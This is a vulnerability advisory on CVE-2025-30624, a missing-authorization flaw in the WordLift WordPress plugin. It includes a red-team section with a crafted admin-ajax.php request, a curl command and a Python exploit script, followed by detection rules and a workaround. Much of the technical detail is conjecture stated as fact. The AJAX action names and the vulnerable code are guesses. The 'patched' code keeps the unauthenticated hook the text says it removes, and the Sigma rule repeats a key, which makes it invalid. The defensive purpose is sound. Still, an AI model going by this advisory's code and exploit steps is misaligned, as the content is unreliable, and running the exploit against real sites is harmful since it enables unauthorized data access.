CVE-2025-30624

Executive Summary

CVE-2025-30624 is a Missing Authorization vulnerability in the WordLift WordPress plugin, affecting versions from n/a through 3.54.4. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 4.3 (Medium), with an EPSS score of 0.0%, indicating low exploitation probability currently. No public proof-of-concept (PoC) or patch is available at this time.

Supply Chain & Package Security

This vulnerability affects the WordLift WordPress plugin, which is distributed via the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the plugin may be included in managed WordPress environments or custom builds. No known malicious packages have been identified, but the lack of a patch increases the risk of supply chain compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality loss. The EPSS score of 0.0% suggests low active exploitation, but the lack of a patch makes it a potential target for future attacks.

Deep Dive & Mechanics

The vulnerability resides in the WordLift plugin's access control mechanisms. The plugin fails to properly validate user permissions when processing certain REST API requests or AJAX actions. Specifically, the wordlift plugin uses a nonce-based or capability check that is either missing or incorrectly implemented, allowing unauthenticated users to trigger actions that should require administrative privileges.

Root Cause: The plugin does not enforce current_user_can() checks or similar authorization functions on critical endpoints. This allows an attacker to send crafted HTTP requests to the WordPress REST API or admin-ajax.php to access or modify data without proper authentication.

Attack Vector: An attacker can send a specially crafted HTTP request to the vulnerable endpoint, such as:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=wordlift_some_action&nonce=attacker_nonce&data=malicious

If the nonce is not validated or the action does not require authentication, the request will be processed.

Impact: Unauthorized access to WordLift data, such as knowledge graph entities, linked data, or configuration settings. This could lead to data leakage or manipulation of the site's semantic data.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_wordlift_action', 'wordlift_handle_action');
function wordlift_handle_action() {
    // Missing authorization check
    $data = $_POST['data'];
    // Process data without checking user capabilities
    update_option('wordlift_config', $data);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wordlift_action', 'wordlift_handle_action');
add_action('wp_ajax_nopriv_wordlift_action', 'wordlift_handle_action');
function wordlift_handle_action() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = $_POST['data'];
    // Process data
    update_option('wordlift_config', $data);
    wp_die();
}

The patch would add a capability check (current_user_can('manage_options')) and ensure that the action is only registered for authenticated users (wp_ajax_ instead of wp_ajax_nopriv_).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with WordLift plugin version <= 3.54.4
• Network access to the target

Exploitation Steps:

1. Identify the vulnerable endpoint by analyzing the plugin's JavaScript or PHP files.
2. Craft a request to the vulnerable AJAX action:

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -d "action=wordlift_get_entities&nonce=123456" \
  -H "Content-Type: application/x-www-form-urlencoded"

3. If successful, the response will contain sensitive data (e.g., knowledge graph entities).

Example Exploit Script (Python):

import requests

target = "https://target-site.com"
payload = {
    "action": "wordlift_get_entities",
    "nonce": "123456"
}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
if response.status_code == 200:
    print("Exploit successful:", response.text)
else:
    print("Exploit failed")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters starting with wordlift_.
• Look for requests from unauthenticated users (no valid WordPress cookies) to these endpoints.
• Analyze server logs for 403 errors on wordlift_ actions (if patched).

Defense:

• Immediately disable the WordLift plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to wordlift_ actions from unauthenticated users.
• Use a WordPress security plugin to enforce capability checks on all AJAX actions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=wordlift_* parameters from unauthenticated sources.
  • Unusual POST requests to /wp-json/wordlift/v1/* endpoints.
• File IOCs:
  • Modified wp-content/plugins/wordlift/ files (if attacker gains write access).
  • Suspicious entries in wp_options table related to wordlift_ options.
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php with wordlift_ actions from unknown IPs.
  • PHP error logs showing "Undefined index" or "Unauthorized" messages for wordlift_ actions.

Detection Engineering

YARA Rule

rule Detect_WordLift_Missing_Auth_CVE_2025_30624 {
    meta:
        description = "Detects exploitation attempts for CVE-2025-30624 in WordLift plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30624"
    strings:
        $ajax_action = /action=wordlift_[a-z_]+/
        $admin_ajax = "admin-ajax.php"
        $wp_json = "/wp-json/wordlift/"
    condition:
        ($ajax_action and $admin_ajax) or $wp_json
}

Sigma Rule

title: WordLift Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-30624 in WordLift plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wordlift_'
    condition: selection
falsepositives:
    - Legitimate WordLift admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30624 WordLift Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wordlift_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WordLift plugin until an official patch is released.
2. Implement a WAF rule to block unauthenticated requests to wordlift_ AJAX actions.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• Apply the official patch from WordLift when available (check https://wordlift.io/ or WordPress plugin repository).
• If patching is not possible, consider replacing the plugin with an alternative solution.

Workaround:

• Add the following code to the theme's functions.php to enforce authorization:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        if (isset($_POST['action']) && strpos($_POST['action'], 'wordlift_') === 0) {
            if (!current_user_can('manage_options')) {
                wp_die('Unauthorized', 403);
            }
        }
    }
});

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst